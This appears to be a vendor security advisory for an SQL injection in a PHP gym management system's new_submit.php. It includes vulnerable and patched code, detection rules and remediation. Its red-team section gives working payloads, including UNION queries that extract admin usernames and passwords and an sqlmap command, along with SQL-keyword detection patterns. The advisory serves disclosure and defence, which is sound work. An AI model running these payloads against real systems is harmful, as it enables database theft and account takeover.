CVE-2025-0532
Executive Summary
CVE-2025-0532 is a critical SQL injection vulnerability in Codezips Gym Management System 1.0. The flaw resides in the /dashboard/admin/new_submit.php file, where the m_id parameter is directly concatenated into SQL queries without sanitization or parameterization. This allows unauthenticated remote attackers to execute arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and administrative account takeover. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is available from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application. However, organizations using this software should treat it as a critical supply chain risk due to the lack of vendor support.
CVSS Breakdown & Threat Level
CVSS v3.1 Score: 9.8 (Critical)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full database read access.
- Integrity (I): High (H) – Ability to modify or delete data.
- Availability (A): High (H) – Potential for denial of service via destructive queries.
Threat Level: Critical. Public exploit code exists, and the vulnerability is trivial to exploit.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the new_submit.php script. The m_id parameter is likely used in a query such as:
SELECT * FROM members WHERE id = $_GET['m_id'];
Without input validation or prepared statements, an attacker can inject SQL syntax. For example, a payload like:
1' OR '1'='1
Would modify the query to:
SELECT * FROM members WHERE id = '1' OR '1'='1';
This returns all rows from the members table. More advanced payloads can be used for UNION-based data extraction, time-based blind injection, or stacked queries (if supported by the database backend, likely MySQL).
The application is written in PHP and uses MySQL as the database. The lack of parameterized queries (PDO or MySQLi prepared statements) is the root cause.
Vulnerable vs. Patched Code
Vulnerable Code (PHP):
<?php
$id = $_GET['m_id'];
$query = "SELECT * FROM members WHERE id = $id";
$result = mysqli_query($conn, $query);
?>
Patched Code (PHP):
<?php
$id = intval($_GET['m_id']); // Cast to integer
$query = "SELECT * FROM members WHERE id = $id";
$result = mysqli_query($conn, $query);
?>
Or, using prepared statements:
<?php
$stmt = $conn->prepare("SELECT * FROM members WHERE id = ?");
$stmt->bind_param("i", $_GET['m_id']);
$stmt->execute();
$result = $stmt->get_result();
?>
The patched code either casts the input to an integer (mitigating injection for numeric fields) or uses prepared statements, which separate SQL logic from data.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install XAMPP or similar LAMP stack.
- Download Codezips Gym Management System 1.0.
- Place the files in the web root (e.g.,
/var/www/html/gym). - Import the provided SQL database.
- Access
http://localhost/gym/dashboard/admin/new_submit.php?m_id=1.
Exploitation Steps:
Basic Injection Test:
http://localhost/gym/dashboard/admin/new_submit.php?m_id=1'If an error is returned (e.g.,
You have an error in your SQL syntax), the parameter is vulnerable.Union-Based Data Extraction: Determine the number of columns:
http://localhost/gym/dashboard/admin/new_submit.php?m_id=1 ORDER BY 1--Increment until an error occurs. Assume 5 columns.
Extract database version:
http://localhost/gym/dashboard/admin/new_submit.php?m_id=-1 UNION SELECT 1,2,3,4,5--Replace a visible column number with
@@version:http://localhost/gym/dashboard/admin/new_submit.php?m_id=-1 UNION SELECT 1,@@version,3,4,5--Extract Admin Credentials:
http://localhost/gym/dashboard/admin/new_submit.php?m_id=-1 UNION SELECT 1,username,password,4,5 FROM admin_users--Automated Exploitation with sqlmap:
sqlmap -u "http://localhost/gym/dashboard/admin/new_submit.php?m_id=1" --batch --dbs
Blue Team (Defensive)
Detection Steps:
- Monitor web server logs for suspicious
m_idparameters containing SQL keywords (UNION,SELECT,OR,AND,--,#). - Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
- Use database activity monitoring to detect anomalous queries (e.g.,
UNION SELECTfrom web application user). - Implement input validation on the server side (see patched code).
Hunting Query (Splunk):
index=web_logs source="/var/log/apache2/access.log"
| regex _raw="m_id=.*(?:UNION|SELECT|OR|AND|--|#)"
| table _time, src_ip, uri, user_agent
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/dashboard/admin/new_submit.phpwithm_idparameter containing SQL metacharacters (',",--,#,UNION,SELECT). - Outbound database connections from the web server to unknown IPs (data exfiltration).
- HTTP requests to
File IOCs:
- Modified PHP files in
/dashboard/admin/(e.g., webshells). - Suspicious files in the web root (e.g.,
cmd.php,shell.php).
- Modified PHP files in
Database IOCs:
- New user accounts in
admin_userstable. - Unusual queries in MySQL general log (if enabled).
- New user accounts in
Detection Engineering
YARA Rule
rule CVE_2025_0532_SQLi_Attempt {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-0532"
author = "Valters IT"
date = "2025-02-20"
reference = "CVE-2025-0532"
strings:
$s1 = "m_id="
$s2 = "UNION" nocase
$s3 = "SELECT" nocase
$s4 = "OR" nocase
$s5 = "AND" nocase
$s6 = "--"
$s7 = "#"
condition:
$s1 and any of ($s2, $s3, $s4, $s5, $s6, $s7)
}
Sigma Rule
title: CVE-2025-0532 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against /dashboard/admin/new_submit.php
author: Valters IT
date: 2025-02-20
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- 'm_id='
cs-uri-query|contains|all:
- 'UNION'
- 'SELECT'
condition: selection
falsepositives:
- Legitimate use of the word "UNION" in a parameter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-0532 SQL Injection Attempt"; flow:to_server,established; content:"/dashboard/admin/new_submit.php"; http_uri; content:"m_id="; http_uri; pcre:"/m_id=.*(?:UNION|SELECT|OR|AND|--|#)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: If the application is internet-facing, take it offline or restrict access to trusted IPs only.
- Code Fix: Apply the patched code shown above (use prepared statements or input validation).
- WAF Rules: Deploy a WAF (e.g., ModSecurity) with OWASP Core Rule Set to block SQL injection.
- Database Hardening: Use a database user with minimal privileges (no
DROP,CREATE,FILEprivileges). - Monitoring: Enable detailed logging and monitor for exploitation attempts.
- Vendor Contact: Since Codezips has not released a patch, consider migrating to a supported alternative.
Valters IT – Securing Your Digital Frontier